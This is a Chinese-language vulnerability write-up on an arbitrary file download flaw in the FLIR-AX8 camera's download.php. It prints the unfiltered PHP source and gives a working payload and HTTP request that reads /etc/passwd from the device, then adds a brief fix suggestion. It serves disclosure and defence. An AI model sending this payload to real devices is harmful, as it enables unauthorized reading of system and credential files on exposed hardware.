FLIR-AX8 download.php 任意文件下载
2023-6-15 08:2:42 Author: 才疏学浅的H6(查看原文) 阅读量:21 收藏

漏洞说明

FLIR-AX8 download.php文件对file参数未进行过滤 存在任意文件下载漏洞

影响版本

FLIR-AX8

漏洞复现

download.php:

<?php/** * Copyright 2012 Armand Niculescu - MediaDivision.com * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * THIS SOFTWARE IS PROVIDED BY THE FREEBSD PROJECT "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FREEBSD PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */// get the file request, throw error if nothing supplied
// hide notices@ini_set('error_reporting', E_ALL & ~ E_NOTICE);
//- turn off compression on the server//@apache_setenv('no-gzip', 1);//@ini_set('zlib.output_compression', 'Off');
if(!isset($_REQUEST['file']) || empty($_REQUEST['file'])){ header("HTTP/1.0 400 Bad Request"); exit;}
// sanitize the file request, keep just the name and extension// also, replaces the file location with a preset one ('./myfiles/' in this example)$file_path = $_REQUEST['file'];$file_type = $_REQUEST['type'];$path_parts = pathinfo($file_path);$file_name = $path_parts['basename'];$file_ext = $path_parts['extension'];
// allow a file to be streamed instead of sent as an attachment$is_attachment = isset($_REQUEST['stream']) ? false : true;
// make sure the file existsif (is_file($file_path)){ $file_size = filesize($file_path); $file = @fopen($file_path,"rb"); if ($file) { // set the headers, prevent caching header("Pragma: public"); header("Expires: -1"); header("Cache-Control: public, must-revalidate, post-check=0, pre-check=0"); header("Content-Disposition: attachment; filename=\"$file_name\"");
// set appropriate headers for attachment or streamed file if ($is_attachment) { header("Content-Disposition: attachment; filename=\"$file_name\""); } else { header('Content-Disposition: inline;'); header('Content-Transfer-Encoding: binary'); }
// set the mime type based on extension, add yours if needed. $ctype_default = "application/octet-stream"; $content_types = array( "exe" => "application/octet-stream", "zip" => "application/zip", "mp3" => "audio/mpeg", "mpg" => "video/mpeg", "avi" => "video/x-msvideo", ); $ctype = isset($content_types[$file_ext]) ? $content_types[$file_ext] : $ctype_default; header("Content-Type: " . $ctype);
//check if http_range is sent by browser (or download manager) if(isset($_SERVER['HTTP_RANGE'])) { list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2); if ($size_unit == 'bytes') { //multiple ranges could be specified at the same time, but for simplicity only serve the first range //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt list($range, $extra_ranges) = explode(',', $range_orig, 2); } else { $range = ''; header('HTTP/1.1 416 Requested Range Not Satisfiable'); exit; } } else { $range = ''; }
//figure out download piece from range (if set) list($seek_start, $seek_end) = explode('-', $range, 2);
ob_clean(); //set start and end based on range (if set), else set defaults //also check for invalid ranges. $seek_end = (empty($seek_end)) ? ($file_size - 1) : min(abs(intval($seek_end)),($file_size - 1)); $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0); //Only send partial content header if downloading a piece of the file (IE workaround) if ($seek_start > 0 || $seek_end < ($file_size - 1)) { header('HTTP/1.1 206 Partial Content'); header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$file_size); header('Content-Length: '.($seek_end - $seek_start + 1)); } else header("Content-Length: $file_size");
header('Accept-Ranges: bytes'); set_time_limit(0); fseek($file, $seek_start); while(!feof($file)) { print(@fread($file, 1024*8)); ob_flush(); flush(); if (connection_status()!=0) { @fclose($file); exit; } } // file save was a success @fclose($file); exit; } else { // file couldn't be opened header("HTTP/1.0 500 Internal Server Error"); exit; }}else{ // file does not exist header("HTTP/1.0 404 Not Found"); exit;}?>

可以看到file_path为输入的file的参数(/etc/passwd),然后通过pathinfo()函数以数组的形式返回文件信息

(    [dirname] => /etc    [basename] => passwd    [filename] => passwd)

打开文件也没限制

payload:

/download.php?file=/etc/passwd
GET /download.php?file=/etc/passwd HTTP/1.1Host:  IP:portSec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

修复建议

对file参数进行过滤检验

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